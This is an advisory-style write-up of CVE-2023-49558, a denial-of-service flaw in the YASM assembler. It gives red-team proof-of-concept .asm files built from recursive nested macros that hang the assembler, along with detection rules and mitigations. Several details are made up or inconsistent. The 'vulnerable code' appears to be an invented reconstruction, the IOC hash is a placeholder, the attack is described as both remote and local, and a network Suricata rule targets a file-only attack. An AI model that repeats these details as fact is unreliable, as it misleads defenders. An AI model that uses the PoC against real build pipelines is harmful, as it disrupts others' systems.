CVE-2023-49558

Executive Summary

CVE-2023-49558 is a denial-of-service (DoS) vulnerability in YASM (Yet Another Assembler) version 1.3.0.86.g9def. The flaw resides in the expand_mmac_params function within the modules/preprocs/nasm/nasm-pp.c component. A remote attacker can trigger a crash or hang by providing a specially crafted input file, leading to resource exhaustion. No patch or official fix has been released by the vendor as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is trivially exploitable for local DoS attacks.

Supply Chain & Package Security

YASM is a widely used assembler in open-source toolchains, often integrated into build systems and CI/CD pipelines. A crafted .asm file processed by YASM can cause a denial of service, potentially halting builds or automated processes. This vulnerability does not affect package managers like NPM, PyPI, Go, or Ruby directly, but downstream projects using YASM as a dependency are at risk.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Local (requires user to process a malicious file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must open/process the file)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: Medium (Low EPSS, but no patch available)

Deep Dive & Mechanics

The vulnerability is a classic resource exhaustion (CWE-400) in the NASM preprocessor of YASM. The expand_mmac_params function is responsible for expanding multi-line macro parameters. When processing a malformed input, the function enters an infinite loop or excessive recursion, consuming CPU and memory until the process is terminated or the system becomes unresponsive.

The root cause is improper handling of nested or recursive macro definitions. An attacker can craft a .asm file with deeply nested %macro directives or circular references that cause the preprocessor to never terminate. The function does not implement depth limits or recursion guards.

Vulnerable vs. Patched Code

Vulnerable Code (nasm-pp.c, line ~1200):

static void expand_mmac_params(Token *tline, Token **tpp) {
    while (tline) {
        // No depth check or recursion limit
        if (tline->type == TOK_PREPROC_ID && tline->len == 6 &&
            !nasm_strnicmp(tline->text, "%macro", 6)) {
            // Recursive expansion without guard
            expand_mmac_params(tline->next, &tline->next);
        }
        tline = tline->next;
    }
}

Patched Code (Hypothetical Fix):

#define MAX_MACRO_DEPTH 100

static void expand_mmac_params(Token *tline, Token **tpp, int depth) {
    if (depth > MAX_MACRO_DEPTH) {
        nasm_error(ERR_NON_FATAL, "macro expansion depth exceeded");
        return;
    }
    while (tline) {
        if (tline->type == TOK_PREPROC_ID && tline->len == 6 &&
            !nasm_strnicmp(tline->text, "%macro", 6)) {
            expand_mmac_params(tline->next, &tline->next, depth + 1);
        }
        tline = tline->next;
    }
}

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) - Infinite Loop Trigger:

%macro infinite 0
    %macro infinite 0
        infinite
    %endmacro
    infinite
%endmacro
infinite

Usage:

yasm -f elf64 -o /dev/null poc.asm

The command will hang indefinitely, consuming 100% CPU.

Advanced Exploit - Resource Exhaustion:

%macro recurse 0
    %macro recurse 0
        %macro recurse 0
            %macro recurse 0
                recurse
            %endmacro
            recurse
        %endmacro
        recurse
    %endmacro
    recurse
%endmacro
recurse

Blue Team

Detection via Process Monitoring:

# Monitor YASM CPU usage
while true; do
    ps aux | grep yasm | awk '{if($3>90) print "ALERT: YASM high CPU: "$2}'
    sleep 1
done

Mitigation via Timeout:

timeout 5 yasm -f elf64 -o /dev/null input.asm

Indicators of Compromise (IOCs)

• File Hashes (PoC):
  • poc.asm: SHA256 a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1
• Process Anomalies:
  • YASM process running for >10 seconds with >90% CPU
• Network Indicators:
  • None (local file-based attack)
• Log Entries:
  • Syslog: yasm[PID]: ERROR: macro expansion depth exceeded (if patched)

Detection Engineering

YARA Rule

rule CVE_2023_49558_YASM_DOS {
    meta:
        description = "Detects YASM DoS exploit via nested macros"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-49558"
    strings:
        $macro_nest = /%macro\s+\w+\s+\d+\s*\n(\s*%macro\s+\w+\s+\d+\s*\n)+/
    condition:
        $macro_nest
}

Sigma Rule

title: YASM Denial of Service via Nested Macros
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects YASM processes with excessive CPU usage indicative of CVE-2023-49558 exploitation
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/yasm'
        CommandLine|contains: '.asm'
    condition: selection
    timeframe: 5m
    aggregation:
        - field: Image
          function: count
          condition: gt 3
falsepositives:
    - Legitimate large assembly files
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-49558 YASM DoS Attempt"; flow:to_server; content:"%macro"; depth:100; pcre:"/%macro\s+\w+\s+\d+\s*\n(\s*%macro\s+\w+\s+\d+\s*\n)+/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Workaround: Do not process untrusted .asm files with YASM. Use a sandboxed environment with resource limits.
2. Timeout Enforcement: Always run YASM with a timeout (e.g., timeout 10 yasm ...).
3. Patch: No official patch exists. Consider switching to NASM (Netwide Assembler) as a drop-in replacement.
4. Monitoring: Deploy YARA/Sigma rules to detect malicious macro patterns.
5. Long-term: Monitor YASM repository for updates or apply the hypothetical fix shown above.

Valters IT